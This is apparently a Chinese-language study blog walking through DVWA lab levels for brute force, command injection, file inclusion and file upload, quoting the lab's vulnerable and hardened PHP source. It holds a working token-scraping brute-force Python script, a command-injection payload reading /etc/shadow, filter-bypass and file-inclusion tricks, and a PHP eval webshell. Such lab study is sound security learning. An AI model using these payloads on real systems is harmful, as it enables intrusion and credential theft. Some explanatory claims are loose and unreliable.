Brute Force

Low&&Midium

方法:通过burpsuite工具即可直接爆破。

分析:

  • low: 仅对账号密码进行查询。
  • midium: 对账号密码进行了初步的过滤。
1
2
mysqli_real_escape_string(string,connection) 
//函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义,基本可以抵抗SQL注入

High

分析:

1
2
3
4
5
6
7
8
9
10
11
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
  1. high采用了Anti-CSRF token,有效避免了burpsuite无脑爆破。
  2. high在使用mysqli_real_escape_string()之前先使用了stripslashes(),去除了提交文档的’’/‘’,有效防止了XSS。
  3. 此时应该利用程序(获取每次更新的token)伪造消息发送进行爆破。

方法:(python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from bs4 import BeautifulSoup
import requests

header={'Host':'---',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer':'http://---/DVWA-master/vulnerabilities/brute/',
'cookie':'security=high; PHPSESSID=pilr8bppv41hvcru0g1uijrefb',
'Connection':'close',
'Upgrade-Insecure-Requests':'1'
}
requrl="http://---/DVWA-master/vulnerabilities/brute/"

def get_token(requrl,header):
response=requests.get(url=requrl,headers=header)
print (response.status_code,len(response.content))
soup=BeautifulSoup(response.text,"html.parser")
input=soup.form.select("input[type='hidden']")
user_token=input[0]['value']
return user_token

user_token=get_token(requrl,header)
i=0
for line in open("字典位置"):
requrl="http://---/DVWA-master/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i=i+1
print (i , 'admin' ,line.strip(),end=" ")
user_token=get_token(requrl,header)
if(i==20):
break
  • header建议用burpsuite抓包获取

结果:dvwa-Brute_Force-python-result

可见password=password是response长度不同于其他。

Impossible–安全–防爆破

  • PDO操作数据库
  • 限制登录错误次数,并上锁
  • 拓展:设置黑名单(e.g. IP address, country, user-agent)

Command Injection

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>

重要函数:

1
2
stristr(string,search,before_search)
/*stristr函数搜索search在string中的第一次出现,返回字符串的剩余部分(从匹配点开始),如果未找到所搜索的search字符 串,则返回FALSE。(如果search参数是数字,则搜索匹配该数字对应的 ASCII值的字符),可选参数before_true为布尔型,默认 为"false" ,如果设置为 "true",函数将返回 search 参数第一次出现之前字符串部分*/
1
2
3
4
5
6
7
8
9
php_uname(mode)
/*返回运行php服务器操作系统的相关参数
参数mode可取值:
1.”a” (此为默认,包含序列”s n r v m”里的所有模式)
2.”s”(返回操作系统名称)
3.”n”(返回主机名)
4.”r”(返回版本名称)
5.”v”(返回版本信息)
6.”m”(返回机器类型)*/
1
2
3
4
5
6
7
shell_exec(string)
/*执行string命令
例:
// Windows
$cmd = shell_exec( 'ping ' . $target );
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target ); */

漏洞:

  • 对命令字符串无任何过滤 (e.g. 127.0.0.1&&cat /etc/shadow)

Middle&High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Set blacklist 设置了黑名单
//Middle
$substitutions = array(
'&&' => '',
';' => '',
);
//High
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

漏洞:

  • Middle: 黑名单不全 => 方法1:使用其他组合命令 方法2:单字符插入双字符(e.g. &;&)
  • High: 注意到黑名单‘| ’多一个空格

Impossible-安全-防命令注入

  • 方法:简单粗暴:利用explode()和is_numeric()对输入进行严格过滤,确保结构上为ip格式
  • 拓展:可以构造正则表达式对输入进行过滤

CSRF

  • 感觉这块水很深,dvwa比较浅,慢慢来吧!

File Inclusion

简述:

  • 分类:远程文件包含,本地文件包含

  • 系统目录:Linux: \etc\shadow Windows: \xampp\htdocs

  • 技巧:

    • %00截断:(e.g. 文件要求.php后缀:\xampp\htdocs\dvwa\php.ini (×) \xampp\htdocs\dvwa\php.ini%0012.php (√))

    • str_replace:双写绕过替换原则:ht**http://**tp://时,str_replace函数会将http://删除

    • php协议:php://filter/read=convert.base64-encode/resource=index.php

      学习链接

  • 远程文件包含:服务器php配置中,选项allow_url_fopen与allow_url_include为开启状态时,允许包含远程服务器上的文件

防御:

  • 采用白帽子防护机制

File Upload

Low

无过滤,直接上传webshell.php

1
<?php @eval($_POST['随便填']); ?>

Middle

  • 仅对Upload_type进行了验证,因此可以用burpsuite直接修改.jpg->.php
  • %00截断(e.g. hack.php%00.png)

High

此处直接对文件名进行了限制,并使用了如下函数对图片标识进行认证:

1
2
imagecreatefromjpeg ( filename )
//函数返回图片文件的图像标识,失败返回false

因此,上传到服务器的文件只可能是图片格式,但含有可以php代码(命令行:copy 图片+php 图片)

!!!此处有坑!!!推荐使用C刀,蚁剑连接会报错!

参考文章

Impossible(待研究,资历不够)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php 

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>
  • 对文件名进行了重写

——————————————————————————–持续更新中——————————————————————————–